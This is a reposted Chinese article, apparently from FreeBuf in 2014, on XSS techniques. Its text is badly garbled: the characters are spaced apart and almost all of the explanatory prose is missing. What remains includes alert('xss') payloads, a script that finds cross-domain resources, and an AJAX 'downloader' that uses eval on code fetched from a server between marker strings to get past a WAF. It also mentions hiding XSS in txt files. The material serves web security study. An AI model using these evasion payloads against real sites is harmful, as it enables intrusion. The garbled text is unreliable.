[8294] 2014-09-23_XSS的原理分析与解剖第三章(技巧篇)

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-17
2014-09-23_XSS的原理分析与解剖第三章(技巧篇) X S S : F r e e B u f   2 0 1 4 - 0 9 - 2 3   B l a c k - H o l e 0 × 0 1   : u r l h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 4 0 5 2 0 . h t m l h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 4 2 7 2 7 . h t m l x s s X S S X S S X S S X S S 0 x E x p l o i t (   h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 4 3 2 8 5 . h t m l   ) 1 I P 1 R e f e r e r   U s e r - A g e n t   C o o k i e   2 h t t p x s s 2 / X S S 0 × 0 2     ( J / C ) P S J / C j a v a s c r i p t c s s f l a s h e t c h t m l 使 " " J / C J / C J / C J / C   J / C f o r ( v a r   i = 0 , t a g s = d o c u m e n t . q u e r y S e l e c t o r A l l ( ' i f r a m e [ s r c ] , f r a m e [ s r c ] , s c r i p t [ s r c ] , l i n k [ r e l = s t y l e s h e e t ] , o b j e c t [ d a t a ] , e m b e d [ s r c ] ' ) , t a g ; t a g = t a g s [ i ] ; i + + ) {     v a r   a   =   d o c u m e n t . c r e a t e E l e m e n t ( ' a ' ) ;     a . h r e f   =   t a g . s r c | | t a g . h r e f | | t a g . d a t a ;     i f ( a . h o s t n a m e ! = l o c a t i o n . h o s t n a m e ) {         c o n s o l e . w a r n ( l o c a t i o n . h o s t n a m e + '   [ ' + t a g . l o c a l N a m e + ' ] : ' + a . h r e f ) ;     } } F 1 2 O K a O K h t t p : / / w w w . z j 4 0 0 0 . c o m /   使 w w w . x s s 8 . p w j s 2 0 . J S 1 . j s a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) ;
  w w w . z j 4 0 0 0 . c o m   c s s j s c s s S W F x s s c o o k i e s   P P T h t t p : / / w w w . 8 0 v u l . c o m / p a p e r / W E B s e c 2 - p u b l i c . p p t 0 × 0 3   X S S   d o w n l o a d e r X S S c n n 4 r y X S S X S S X S S 使 o n r e a d y s t a t e c h a n g e r e a d y S t a t e s t a t u s a j a x a j a x . h t m l < h t m l > < h e a d > < t i t l e > a j a x < / t i t l e > < m e t a   h t t p - e q u i v = " c o n t e n t - t y p e "   c o n t e n t = " t e x t / h t m l ; c h a s e t = u t f - 8 "   / > < / h e a d > < b o b y > < s c r i p t > v a r   x m l h t t p ; v a r   r e q u e s t _ t e x t ; i f ( w i n d o w . X M L H t t p R e q u e s t ) { x m l h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ; } e l s e { x m l h t t p   =   n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ; } x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( x m l h t t p . r e a d y S t a t e = = 4   & & x m l h t t p . s t a t u s = = 2 0 0 ) { r e q u e s t _ t e x t = x m l h t t p . r e s p o n s e T e x t ; v a r   a   =   r e q u e s t _ t e x t . i n d e x O f ( " w o a i n i " ) + 6 ; v a r   b   =   r e q u e s t _ t e x t . i n d e x O f ( " n i a i w o " ) ; e v a l ( r e q u e s t _ t e x t . s u b s t r i n g ( a , b ) ) ; } } x m l h t t p . o p e n ( " P O S T " , " a j a x . p h p " , " t r u e " ) ; x m l h t t p . s e n d ( ) ; < / s c r i p t > < / b o b y > < / h t m l > A j a x . p h p 1 2 3 4 5 6 4 8 7 4 5 4 6 5 4 6 5 4 7 4 w o a i n i a l e r t ( ' x s s ' ) n i a i w o a s d 5 1 6 5 4 8 4 6 1 3 e j k a s o i d o a i d a j a x . h t m l
a j a x . h t m l a j a x . p h p w o a i n i n i a i w o e v a l A j a x . . p h p ( t x t h t m l p h p ) e v a l e v a l w o a i n i n i a i w o   X S S o n ( j a v a s c r i p t : ) e v a l ( d o c u m e n t . b o b y . i n n e r H T M L . s u b s t r i n g ( d o c u m e n t . b o b y . i n n e r H T M L . i n d e x O f ( ' w o a i n i ' ) + 6 , d o c u m e n t . b o b y . i n n e r H T M L . i n d e x O f ( ' n i a i w o ' ) ) ) ; w o a i n i a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) n i a i w o 便 W A F a j a x 使 i n d e x O f s u b s t r i n g 使 j a v a s c r i p t 1 . h t m l < h t m l > < h e a d > < t i t l e > a j a x + < / t i t l e > < m e t a   h t t p - e q u i v = " c o n t e n t - t y p e "   c o n t e n t = " t e x t / h t m l ; c h a s e t = u t f - 8 "   / > < / h e a d > < b o b y > < s c r i p t > v a r   x m l h t t p ; v a r   r e q u e s t _ t e x t ; i f ( w i n d o w . X M L H t t p R e q u e s t ) { x m l h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ; } e l s e { x m l h t t p   =   n e w   A c t i v e X O b j e c t ( " M i c r o s o f t . X M L H T T P " ) ; } x m l h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( x m l h t t p . r e a d y S t a t e = = 4   & & x m l h t t p . s t a t u s = = 2 0 0 ) { r e q u e s t _ t e x t = x m l h t t p . r e s p o n s e T e x t ; v a r   t e x t   =   r e q u e s t _ t e x t . m a t c h ( / w o a i n i ( . * ) n i a i w o / i ) ; e v a l ( t e x t [ 1 ] ) ; } } x m l h t t p . o p e n ( " P O S T " , " a j a x . p h p " , " t r u e " ) ; x m l h t t p . s e n d ( ) ; < / s c r i p t > < / b o b y > < / h t m l > 0 × 0 4   X C S X C S X S S X S S A P I ( ) X S C K C o n h t t p s : / / g i t h u b . c o m / k n o w n s e c / K C o n / b l o b / m a s t e r / K C o n % 2 0 V 2 / % E 5 % 8 E % B B % E 5 % B 9 % B 4 % E 8 % B 7 % A 8 % E 8 % B F % 8 7 % E 7 % 9 A % 8 4 % E 6 % B 5 % 8 F % E 8 % A 7 % 8 8 % E 5 % 9 9 % A 8 / % E 5 % 8 E % B B % E 5 % B 9 % B 4 % E 8 % B 7 % A 8 % E 8 % B F % 8 7 % E 7 % 9 A % 8 4 % E 6 % B 5 % 8 F % E 8 % A 7 % 8 8 % E 5 % 9 9 % A 8 . p p t X C S P P T 0 × 0 5   X S S 2 0 1 0 - 2 0 1 1 ( ) c h r o m e f i r e f o x j p g ( i e 6 ) w o r d t x t t x t < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > t x t h t m l t x t 2   3 1 0 0 西
x s s   f u z z i n g X S F c n n 4 r y c n n 4 r y h t t p : / / p a n . b a i d u . c o m / s / 1 j G 8 6 n o
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则